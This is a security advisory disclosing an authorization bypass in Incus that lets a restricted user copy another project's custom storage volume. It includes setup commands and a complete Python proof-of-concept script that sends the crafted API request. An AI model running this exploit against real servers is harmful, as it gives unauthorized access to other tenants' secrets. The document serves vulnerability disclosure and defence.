Incus has a project restriction bypass for custom volume copy across projects

Summary

Missing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.

Details

The storage volume creation handler authorizes creation in the target project, then passes req.Source.Project into the custom-volume copy path without checking that the caller can view the source volume. req.Source.Project is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to CreateCustomVolumeFromCopy. No allowPermission or entitlement check (e.g. CanView on the source volume) is performed.

The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.

PoC

Setup

Assume the target server is remotely accessible and a user/certificate has been added.

# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets storage volume create default secret-vol

# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
  - default

# verification, with the restricted certificate
incus --project secrets storage volume ls remote:default

Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

python3 poc.py --url https://IP-REMOTE:8443 \
    --cert path/to/client.crt --key path/to/client.key \
    --target-project default --source-project secrets \
    --source-volume secret-vol --name copy-secret-vol \
    --pool default --source-pool default \
    --insecure

Wait a bit for the custom volume to be copied, then incus storage volume ls remote:default to see the copied instance.

#!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request


def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)
    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--pool", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-volume", required=True)
    ap.add_argument("--source-pool")
    ap.add_argument("--name", required=True, help="new volume name in target project")
    ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
    ap.add_argument("--volume-only", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    source = {
        "type": "copy",
        "name": args.source_volume,
        "project": args.source_project,
        "volume_only": args.volume_only,
    }
    if args.source_pool:
        source["pool"] = args.source_pool

    body = {
        "name": args.name,
        "type": "custom",
        "content_type": args.content_type,
        "source": source,
    }
    path = "/1.0/storage-pools/{}/volumes/custom?{}".format(
        urllib.parse.quote(args.pool, safe=""),
        urllib.parse.urlencode({"project": args.target_project}),
    )
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())